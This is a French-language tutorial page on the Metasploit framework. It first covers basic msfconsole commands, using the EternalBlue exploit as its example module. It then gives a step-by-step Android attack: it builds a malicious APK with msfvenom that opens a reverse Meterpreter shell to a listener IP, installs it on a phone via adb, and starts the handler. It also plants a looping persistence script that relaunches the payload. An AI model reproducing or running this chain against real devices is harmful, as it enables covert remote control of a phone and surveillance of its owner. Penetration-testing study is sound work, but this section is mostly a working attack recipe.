

Metasploit

Un framework très puissant dans le monde de la Cybersécurité

- [Les bases](#)
- [Android payload](#)

Les bases

1/ Lancé Metasploit

Metasploit est installé de base sur les os Kali Linux et Parrot sinon il vous faudra la téléchargé et l'installé vous même

[Wiki - linux.org installé Metasploit](#)

Entré la commande suivante dans le terminal linux pour lancé la console Metasploit

```
msfconsole
```

Vous devriez vous retrouver avec une console msf5 > ou msf6 >

[Screen-Shot-2022-04-03-at-14.41.09.png](#)

Si la commande `msfconsole` vous donne rien, ces sûrement vous n'avez pas Metasploit d'installé.

Les Commandes communes de linux comme "`ls`", "`cd`", "`clear`", "`history`" ... marche aussi dans cette console.

2/ Les commandes Utiles

Command help / Obtenir l'aide

Obtenir l'aide pour le module set

```
help set
```

Command Search / Rechercher dans Metasploit

Capture d'écran_2022-11-23_09-57-06.png

La sortie de la commande **search** fournit un aperçu de chaque module renvoyé.

Vous pouvez voir le type de module (auxiliaire, exploit, etc.) et la catégorie du module (scanner, admin, windows, Unix, etc.).

Ranking Exploit

Une autre information essentielle renvoyée se trouve dans la colonne « rang ». Les exploits sont évalués en fonction de leur fiabilité. Le tableau ci-dessous fournit leurs descriptions respectives.

[ranking.png](#)

Vous pouvez utiliser n'importe quel module renvoyé dans un résultat de recherche avec la commande **use** suivie du numéro au début de la ligne de résultat.

Par exemple, "use 0" au lieu d'utiliser
"auxiliaire/admin/smb/smb:ms17_010_command"

Vous pouvez orienter la fonction de recherche à l'aide de mots-clés tels que type et plateforme.

Par exemple, si nous voulions que nos résultats de recherche n'incluent que des modules auxiliaires, nous pourrions définir le type sur auxiliaire. La capture d'écran ci-dessous montre la sortie de la commande **search type:auxiliary telnet**.

[search type.png](#)

3/ Utilisé un module

Maintenant qu'on sait trouver un module nous pouvons l'utiliser avec la commande **use** suivi du chemin complet exemple :

```
use exploit/windows/smb/ms17_010_eternalblue
```

[use.png](#)

De nouvelles commandes vont nous être utiles pour mieux comprendre comment l'outil fonctionne ou de quel information il a besoin.

command info

Info n'est pas un menu d'aide ; il affichera des informations détaillées sur le module telles que son auteur, les sources pertinentes, etc.

De plus amples informations sur n'importe quel module peuvent être obtenues en tapant la commande info dans son contexte.

[info1.png](#)[info2.png](#)

Vous pouvez également utiliser la commande **info** suivie du chemin du module à partir de l'invite msfconsole (par exemple, **info exploit/windows/smb/ms17_010_eternalblue**).

command show options

La commande show peut être utilisée dans n'importe quel contexte suivie d'un type de module (auxiliaire, charge utile, exploit, etc.) pour lister les modules disponibles.

L'exemple ci-dessous répertorie les charges utiles pouvant être utilisées avec l'exploit ms17-010 Eternalblue.

[showOptions.png](#)

Cela imprimera les options liées à l'exploit que nous avons choisi plus tôt. La commande **show options** aura des sorties différentes selon le contexte dans lequel elle est utilisée.

L'exemple ci-dessus montre que cet exploit nécessitera que nous définissions des variables telles que RHOSTS et RPORT.

N'oubliez pas qu'en fonction du module que vous utilisez, des paramètres supplémentaires ou différents peuvent devoir être définis.

Utilise la commande show options pour répertorier les paramètres requis.

command set

Il est recommandé d'utiliser la commande `show options` pour répertorier les paramètres requis.

Tous les paramètres sont définis à l'aide de la même syntaxe de commande :

set PARAMETER_NAME VALUE

Exemple :

[set1.png](#)

Nous voyons que RHOSTS a besoin d'une valeur et nous allons lui donner avec la commande suivante.

```
set RHOSTS 66.66.66.66
```

[set2.png](#)

Le changement a bien été effectué.

[set3.png](#)

Il faudra remettre les valeurs à chaque changement de module

La commande **setg** de garde en mémoire les valeurs jusqu'à la fermeture de Metasploit ou effacer le avec la commande **unsetg**

command show

La commande **show** peut être utilisée dans n'importe quel contexte suivie d'un type de module (auxiliary, payload, exploit, etc.) pour lister les modules disponibles.

L'exemple ci-dessous répertorie les payload pouvant être utilisées avec l'exploit ms17-010 Eternalblue.

[showPayload.png](#)

Tous les paramètre pour la commande "show" : all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites

command back

Vous pouvez quitter le contexte en utilisant la commande **back**.

[back.png](#)

command exploit / run

Utiliser des modules

Une fois tous les paramètres du module définis, vous pouvez lancer le module à l'aide de la commande exploit.

Metasploit prend également en charge la commande **run**, qui est un alias créé pour la commande **exploit** car le mot exploit n'avait pas de sens lors de l'utilisation de modules qui n'étaient pas des exploits (scanners de ports, scanners de vulnérabilités, etc.).

La commande **exploit** peut être utilisée sans aucun paramètre ou en utilisant le paramètre "-z".

La commande **exploit -z** exécutera l'exploit et mettra la session en arrière-plan dès son ouverture.

[exploit.png](#)

command sessions

La commande **sessions** peut être utilisée à partir de l'invite msfconsole ou de n'importe quel module pour voir les sessions existantes crée par un exploit.

[session.png](#)

Pour interagir (se connecter) avec n'importe quelle session, vous pouvez utiliser la commande **sessions -i ID**

[sessions.png](#)

La session est connecté, et maintenant nous avons accès a la console meterpreter.

4/ Meterpreter

Meterpreter est un outil qui permet de réaliser toutes sortes d'actions sur la machine cible.

Par exemple, nous pouvons télécharger des fichiers, lancer un Keylogger, prendre une capture d'écran, etc...

Android payload

from https://www.youtube.com/watch?v=AT-1_ujJA7M

commencer par créer une application malveillante a laide de msfvenom

port et ip du pc host
lhost=192.168.1.176
lport=45678

```
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.176 lport=45678 >  
~/Desktop/payload.apk
```

le push dans un téléphone
adb push payload.apk sdcard/Download/

installer et lancer l'application avec tout les droit

ouvrir la console sur le pc host

metasploit

```
use exploit/multi/handler  
set payload android/meterpreter/reverse_tcp  
set lhost 192.168.1.176  
set lport 45678  
run
```

quand un appareil sera connecter il ouvrira une meterpreter session

Commande pour avoir les info sur l'appareil
sysinfo

on va rendre le payload persistant a laide dun script

persistent.sh

```
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
```

créer un script avec ce code

se connecter a une session (appareil avec le payload)

sessions -i 1

sessions -i x

quand on a "metrpreter > " nous somme dans un appareil on peut utiliser cd et ls pour se déplacer
on va a la racine puis sdcard et download
cd /sdcard/Download

on upload le script

upload ~/github/androidpayload/persistent.sh

on utiliser la commande pour passer sur le terminal

shell

et on executer le fichier

sh persistent.sh

puis CTRL+Z pour passer le shell en background on confirme

commande background pour mettre la session en arriere plan
background